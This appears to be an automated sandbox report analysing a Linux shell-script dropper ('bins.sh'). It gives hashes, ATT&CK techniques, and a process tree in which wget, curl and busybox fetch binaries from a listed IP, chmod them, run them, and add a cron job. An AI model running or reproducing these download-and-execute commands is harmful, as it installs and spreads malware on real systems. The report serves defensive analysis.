79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/11/2024, 17:42

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General

Target
bins.sh
Size 10KB
Sample241104-v9zz7stgpc
SHA256 79055bdb682b5b7fc371766063624ec6392ac3d09f2e698e07af4cf6cc6efa3a
MD5 a0dad1a573f72a6534abb219fcb609c3
SHA1 140b3643fa1f39b4149ba4ecf7b68c13e59fad26
SHA512 736c9b38ddeedc4ad6791d7a4cbcb0c965a04cfefdd19cf1c6efe08fa3a8cd880a18b7b0300a919879507ccac630c74b5f2c2ecb3446b776592495dd0a703401
SSDEEP 192:1amOZ5azCQNhdT4EnSEnSEnkEnsQEnrEnNtV92ypQbaEnSEnSEnkEnsQEnrEnFtg:1amOZ5azCQRx331CWZQbP331CW9hamOd
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2075) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
754	chmod
682	chmod
726	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	683	rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	728	czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	755	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

Renames itself 1 IoCs

pid	Process
756	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.DOReie	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/954/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1001/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1012/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/308/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/907/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/947/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1040/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/898/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/964/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1013/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/922/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/785/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/912/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/919/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/865/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1038/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/807/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/825/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/876/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/903/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/946/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/41/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1019/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/974/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/6/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/868/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/886/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/957/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/4/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/830/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/884/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/872/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/29/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/798/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/859/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/881/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/890/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/980/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1039/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/13/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/224/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/852/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/991/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/995/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/774/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/820/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/982/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/850/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/885/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/671/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/809/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/818/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/836/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/867/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1049/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1000/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1009/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/1024/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/948/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/956/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
File opened for reading	/proc/981/cmdline	qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	curl
File opened for modification	/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	busybox
File opened for modification	/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	wget
File opened for modification	/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	busybox
File opened for modification	/tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt	wget
File opened for modification	/tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk	curl
File opened for modification	/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	wget
File opened for modification	/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	curl
File opened for modification	/tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  ./rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  - Executes dropped EXE
  PID:683
- /bin/rm
  rm rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
  2⤵
  PID:686
- /usr/bin/wget
  wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Writes file to tmp directory
  PID:688
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:702
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod 777 czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  ./czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
  2⤵
  PID:731
- /usr/bin/wget
  wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  ./qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:755
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:757
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:758
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:761
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:762
- /bin/rm
  rm qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
  2⤵
  PID:776
- /usr/bin/wget
  wget http://216.126.231.240/bins/bWM6meLoue2laMlH2B1O1qbD4Ssl61QdEw
  2⤵
  PID:779

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

czVWka3o8UvvUPrq8vvbSKgmuslpFilShk

Path /tmp/czVWka3o8UvvUPrq8vvbSKgmuslpFilShk
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran

Path /tmp/qdhfjalFn2FPsMu0xgrj6yZiDLil7A9Ran
Size 119KB
SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
MD5 1b166b95f9cb4b079ef1b9ec8363ddf3
SHA1 0d8eb08add467b3b5474f9b25909297fe7c2839c
SHA512 983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
SSDEEP 3072:lbeGHulXta3Yz+u6b/tDrHvIAJ9GjOHSHm8RiQztBJk9zEp:Re3ODtDbvIg9Gj7Hm8RiQztB+9zEp
MD5 SHA1 SHA512 SSDEEP

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rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt

Path /tmp/rmTLXJqDxL8M2a3209Imvy4TOoNSn6f6Yt
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

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tmp.DOReie

Path /var/spool/cron/crontabs/tmp.DOReie
Size 210B
SHA256 446a623cfd93974f56c8ce74a95dd522fc359a44d7a32f584b2550d69981be51
MD5 9800dc4c6995ee0d2e69500da448d290
SHA1 723bd88e57e51ebe038aefd57a9def218fdbb1d8
SHA512 167a3c5efebf90d8acfbc27e33792ff379ac6c2f6a56a2f86d294ebcb1307ee685718798653e0c429546797834a66132b847e89a1db207362626a0d7199829f1
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads